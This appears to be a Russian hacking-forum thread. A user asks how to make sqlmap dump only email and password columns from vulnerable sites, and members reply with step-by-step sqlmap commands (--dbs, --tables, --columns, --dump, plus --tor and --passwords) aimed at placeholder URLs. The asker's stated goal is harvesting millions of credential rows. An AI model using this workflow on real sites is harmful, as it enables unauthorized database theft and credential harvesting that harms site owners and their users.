Автор вопроса
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
К курсу →
Автор вопроса
mail и pass это что? Таблицы или столбцы(колонки) ?Здравствуйте! подскажите как в sqlmap получать дамп (dump) только mail и pass пусть pass будет даже только в хеши как команду написать?
и можно не указывать базу данных ? на сайте одном бывает много баз данных . Заранее спасибо!
У меня что то типо такого обычно получается для определенной базы:Ну это записи в таблице получается
Bash:
sqlmap -u "http://example.com/vuln.php?id=1" -D base --dump-all --batch
sqlmap -u "http://example.com/vuln.php?id=1" -D base -T users -C login --dump
Не уверен, в каждой базе разные же могут и будут значенияЧтоб не открывать отдельно каждую базу каждую колонку и все остальное
Конечно в любой и везде, таблица, колонка, как разработчик пожелает. Может вообще не бытьНо получается что всегда всегда нужно ставить -D base указывать именно название базы?
И mail,password могут быть в другой колонки или только в users ?
sqlmap -u "http://example.com/vuln.php?id=1" -D base -T users -C mail,password --dump Так он ничего не нашелsqlmap -u "http://example.com/vuln.php?id=1" -D base -T users -C mail,password --dump
Мне обязательно знать и писать названия колонки? можно сделать так ? sqlmap -u "http://example.com/vuln.php?id=1" -D base -C mail,password --dump ? Но когда я так делал он скинул мне просто строки mail,password
а самих почт и паролей нет !! В чем ошибка? я понимаю можно открыть каждую колонку отдельно и посмотреть но это же не вариант вообще.
Он так делает только))) и эти строки мне скидывает))))
+------+----------+
| mail | password |
+------+----------+
+------+----------+
Последнее редактирование:
Научись делать запросы без скулмапа - сразу вопросы отпадут. Поймешь чем отличается таблица от колонки, зачем это нужно и как это работает.sqlmap -u "http://example.com/vuln.php?id=1" -D base -T users -C mail,password --dump Так он ничего не нашел
Мне обязательно знать и писать названия колонки? можно сделать так ? sqlmap -u "http://example.com/vuln.php?id=1" -D base -C mail,password --dump ? Но когда я так делал он скинул мне просто строки mail,password
а самих почт и паролей нет !! В чем ошибка? я понимаю можно открыть каждую колонку отдельно и посмотреть но это же не вариант вообще.
Он так делает только))) и эти строки мне скидывает))))
+------+----------+
| mail | password |
+------+----------+
+------+----------+
1 Ищеш название базы - sqlmap -u "http://example.com/vuln.php?id=1" --dbsДа понятно что есть колонки в них таблица в таблице записи
мне просто надо маил и пасс и все в HTML формате если собирался или сам разобрался вопросов тут бы не задавал !!!
Мне простой ответ бы))) и как это сделать по самому короткому пути и все.
2 Ищеш таблици в базе - sqlmap -u "http://example.com/vuln.php?id=1" -D имя --tables
3 Ищеш колонки в таблице - sqlmap -u "http://example.com/vuln.php?id=1" -D имя -T имя --columns
4 Скидываеш дамп нужных столбцов - sqlmap -u "http://example.com/vuln.php?id=1" -D имя -T имя -C mail,password --dump
если нужен только майл и пасс, то да, обязательно.sqlmap -u "http://example.com/vuln.php?id=1" -D base -T users -C mail,password --dump Так он ничего не нашел
Мне обязательно знать и писать названия колонки? можно сделать так ? sqlmap -u "http://example.com/vuln.php?id=1" -D base -C mail,password --dump ? Но когда я так делал он скинул мне просто строки mail,password
а самих почт и паролей нет !! В чем ошибка? я понимаю можно открыть каждую колонку отдельно и посмотреть но это же не вариант вообще.
Он так делает только))) и эти строки мне скидывает))))
+------+----------+
| mail | password |
+------+----------+
+------+----------+
Может быть колонки называются иначе, например email и passw, тогда твоим запросом ничего не вытащить. К тому же ты не указал нужную таблицу.
Короче - волшебной кнопки нет, надо хотя бы немного пошевелить мозгами и руками.
Все уже тут расписали, куда уж проще.Мне простой ответ бы))) и как это сделать по самому короткому пути и все.
Ну понял придется так тогда делать спасибо всем за ответы! я просто думал что есть проще вариант
а тут все ручками надо делать.
Короче пока не провалишься до самой колонки Column | Type ничего и не узнаешь получается
Я еще почему спросил про короткий путь знаю что есть новички которые за несколько дней
находят по несколько лямов строк.
А тут зайдешь а там 2-16-50 строк в дампе
Наверно бывают большие дампы где прям очень много строк сотни к ?
А все таблицы получается разом тоже не откроешь? только по одной?
Знаю что баннером можно открыть базы . sqlmap.py -u "http://wwwzzzzzzzzzzzzzzzzzzzz1" --random-agent --tor -f --banner --current-user --passwords --tables --exclude-sysdbs
а тут все ручками надо делать.
Короче пока не провалишься до самой колонки Column | Type ничего и не узнаешь получается
Я еще почему спросил про короткий путь знаю что есть новички которые за несколько дней
находят по несколько лямов строк.
А тут зайдешь а там 2-16-50 строк в дампе
Наверно бывают большие дампы где прям очень много строк сотни к ?
А все таблицы получается разом тоже не откроешь? только по одной?
Знаю что баннером можно открыть базы . sqlmap.py -u "http://wwwzzzzzzzzzzzzzzzzzzzz1" --random-agent --tor -f --banner --current-user --passwords --tables --exclude-sysdbs
конечно бываютНаверно бывают большие дампы где прям очень много строк сотни к ?
можешь сдампить всю базу целиком с флагом --dump. Как быстро она будет считываться, зависит и от размера базы, и, в первую очередь, от типа инъекции. Если это time-based, например, то будешь считывать базу по одному символу.А все таблицы получается разом тоже не откроешь? только по одной?
Если ты таким образом планируешь найти какие-то ценные данные, типа
то поспешу тебя разочаровать. Лучше потрать время на изучение SQL:за несколько дней
находят по несколько лямов строк
SQL - прежде чем ломать базы данных
SQL - прежде чем ломать базы данных - часть 2
SQL - прежде чем ломать базы данных - часть 3
SQL-injection, начало - UNION BASED
и другие статьи этого автора и других авторов, поиск по форуму поможет.
Проще вот так! -D бд --tables --count -columns --count --batchесли нужен только майл и пасс, то да, обязательно.
Может быть колонки называются иначе, например email и passw, тогда твоим запросом ничего не вытащить. К тому же ты не указал нужную таблицу.
Короче - волшебной кнопки нет, надо хотя бы немного пошевелить мозгами и руками.
Все уже тут расписали, куда уж проще.
Разбирается кто как в sqlmap применять полезную нагрузку?
Ситуация такая sqlmap видит базы а дамп делать не может
и в лог скидывает полезная нагрузка = цифры буквы и все такое
ну и еще всякие слова))) а как это все применить не понятно))
может кто подскажет или пару примеров скинет
или статей вменяемых на эту тему. Вроде все просто но и ничего не понятно пока что))
Ситуация такая sqlmap видит базы а дамп делать не может
и в лог скидывает полезная нагрузка = цифры буквы и все такое
ну и еще всякие слова))) а как это все применить не понятно))
может кто подскажет или пару примеров скинет
или статей вменяемых на эту тему. Вроде все просто но и ничего не понятно пока что))
Ещё по теме
4
Поделиться: